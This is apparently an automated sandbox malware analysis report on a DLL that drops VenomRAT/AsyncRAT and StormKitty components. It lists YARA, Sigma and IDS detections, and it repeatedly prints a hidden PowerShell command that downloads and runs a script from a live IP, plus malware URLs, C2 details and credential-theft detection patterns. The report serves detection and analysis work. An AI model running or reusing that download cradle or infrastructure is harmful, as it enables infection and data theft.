15.2.powershell.exe.662338a.9.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x4696d8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x4657a8:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x4754ee:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x475532:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x41fb9b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x436060:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x449f9b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x475de0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x465ec8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x4750ce:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
15.2.powershell.exe.662338a.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x4696d8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2 0x46963b:$s2: L2Mgc2NodGFza3MgL2
15.2.powershell.exe.662338a.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x4752c0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x475300:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x47534e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x47539c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
15.2.powershell.exe.662338a.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x46d49c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
15.2.powershell.exe.662338a.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x472e37:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x472e1d:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN 0x472dff:$s3: \VPN\ProtonVPN
15.2.powershell.exe.662338a.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x467b81:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x467bf3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x467c7d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x467d0f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x467d79:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x467deb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x467e81:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x467f11:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.powershell.exe.662338a.9.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1da25e:$x2: https://github.com/LimerBoy/StormKitty 0x1da27a:$x3: StormKitty 0x15a26a:$s2: GetAntivirus 0x457c8a:$s2: GetAntivirus 0x1702d0:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x46dcf0:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x16971b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x46713b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x16ad43:$s6: "encrypted_key":"(.?)" 0x468763:$s6: "encrypted_key":"(.?)"
15.2.powershell.exe.662338a.9.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x465738:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x4618ac:$s6: VirtualBox 0x47142b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x46ce48:$s8: Win32_ComputerSystem 0x471391:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x469f74:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x469b91:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x469c2e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x469d43:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1 0x469e2b:$cnc4: POST / HTTP/1.1
17.2.powershell.exe.4cbbf70.5.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x4b30:$x2: https://github.com/LimerBoy/StormKitty 0x4b4c:$x3: StormKitty
15.2.powershell.exe.52af274.4.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
15.2.powershell.exe.52aace4.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.powershell.exe.52aace4.2.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x4b58:$x2: https://github.com/LimerBoy/StormKitty 0x4b74:$x3: StormKitty
Click to see the 275 entries

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", CommandLine: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll, ParentImage: C:\Windows\SysWOW64\regsvr32.exe, ParentProcessId: 2792, ParentProcessName: regsvr32.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", ProcessId: 2788, ProcessName: cmd.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5512, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline", ProcessId: 7284, ProcessName: csc.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", CommandLine: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", ProcessId: 5512, ProcessName: powershell.exe

Sigma detected: Unusual Parent Process For Cmd.EXE

Source: Process started

Author: Tim Rauch: Data: Command: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", CommandLine: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll, ParentImage: C:\Windows\SysWOW64\regsvr32.exe, ParentProcessId: 2792, ParentProcessName: regsvr32.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", ProcessId: 2788, ProcessName: cmd.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", CommandLine: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll, ParentImage: C:\Windows\SysWOW64\regsvr32.exe, ParentProcessId: 2792, ParentProcessName: regsvr32.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", ProcessId: 2788, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5512, TargetFilename: C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", CommandLine: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", ProcessId: 5512, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5512, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline", ProcessId: 7284, ProcessName: csc.exe

Suricata Signatures

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T19:14:22.082517+0100	2842478	1	Malware Command and Control Activity Detected	157.20.182.177	4449	192.168.2.6	49776	TCP
2025-01-02T19:14:26.824456+0100	2842478	1	Malware Command and Control Activity Detected	157.20.182.177	4449	192.168.2.6	49810	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://147.45.44.131/infopage/ersyb.exe	Avira URL Cloud: Label: malware
Source: http://147.45.44.131/infopage/iubn.ps1	Avira URL Cloud: Label: malware
Source: http://147.45.44.131/infopage/rwvg1.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.dll	Avira: detection malicious, Label: HEUR/AGEN.1300034
Source: C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.dll	Avira: detection malicious, Label: HEUR/AGEN.1300034
Source: C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.dll	Avira: detection malicious, Label: HEUR/AGEN.1300034
Source: C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.dll	Avira: detection malicious, Label: HEUR/AGEN.1300034

Found malware configuration

Source: 0000001A.00000002.4668820759.0000000003341000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: VenomRAT {"Server": "157.20.182.177", "Port": "4449", "Version": "RAT + hVNC 6.0.5", "MutexName": "rbdebzqnfarpyomol", "Autorun": "false", "Group": "false"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.dll	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: 4449
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: 157.20.182.177
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: RAT + hVNC 6.0.5
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: false
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: rbdebzqnfarpyomol
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: MIICLjCCAZegAwIBAgIVAPMNUbaXLLtiHcN1m+dlPpK7vns9MA0GCSqGSIb3DQEBDQUAMGIxFTATBgNVBAMMDFZlbm9tIFNlcnZlcjESMBAGA1UECwwJYWxleGVpa3VuMRswGQYDVQQKDBJWZW5vbSBCeSBhbGV4ZWlrdW4xCzAJBgNVBAcMAlNIMQswCQYDVQQGEwJDTjAeFw0yNDAzMTgxNjQ3MjZaFw0zNDEyMjYxNjQ3MjZaMBAxDjAMBgNVBAMMBVZlbm9tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCaTwbFDhuWkASq9P+NWgPLnP41KwsDJJLX7xv2vo4FUXTwpEsoIrbqvSKldDp6m3lNHXNWYqqy0JX1ZnvClJ/gvVpmMCJfzkIDbW0sKPoOMmwx4PjzdNDQbKSSmM6rMMu8tDchwJEfQtMlgGPXFsMnPTYj6xNeMBCjcTIP5gwFCQIDAQABozIwMDAdBgNVHQ4EFgQU06NiTQAo8LSYzcJVCrt9Ah49blwwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQBg3cQkJK1HiQGjHKgDefp3ooSUSiEh+SRWC4Q/Jsp2TsM6Me9+ix/2g+oxV6/rhaeJkcDDCBtnjouhViDhezLBfl3oE0P29Ssq/skwUyjEZDScIepLewWrtQYtjyYbQL/ubsa0hoLDSZaKydxgH8cAtvOvMqE6WjrfEvcVupZLMQ==
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: Q+AFJAFiCL8OIXnK8vpppK2iElr5z1WborIl7rv6KiQoJrBbUTm5VXnSYAmidoRGFDhbPZQNsmEzkAX+OxkvuApCdcHhIykks+QzQbWVaQ2kFUGLle9WnlLZKzmw4R0L8hrBDa6GtG0avdXbvgSOzH5rALYyXUgmgBPNJoJdbSM=
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: null
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: false
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: false
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: Default
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: false
Source: 27.2.RegAsm.exe.400000.1.unpack	String decryptor: false

Source: iviewers.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: iviewers.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.pdb source: powershell.exe, 0000000E.00000002.2331414790.0000000007B71000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\source\repos\Project9\Release\Project9.pdb source: loaddll32.exe, 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmp, regsvr32.exe, 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2428661230.000000006E9BF000.00000002.00000001.01000000.00000003.sdmp, iviewers.dll
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.pdb source: powershell.exe, 0000000D.00000002.2328638623.00000000057B8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.pdb source: powershell.exe, 00000011.00000002.2302627366.0000000004C4F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.pdb source: powershell.exe, 0000000E.00000002.2277511320.00000000058E9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.pdb source: powershell.exe, 0000000D.00000002.2319590984.000000000361A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.pdb source: powershell.exe, 0000000F.00000002.2374643242.0000000007654000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.pdb source: powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E9B6CE9 FindFirstFileExW,	0_2_6E9B6CE9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6E9B6CE9 FindFirstFileExW,	3_2_6E9B6CE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E9B6CE9 FindFirstFileExW,	4_2_6E9B6CE9

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

Suricata IDS alerts for network traffic

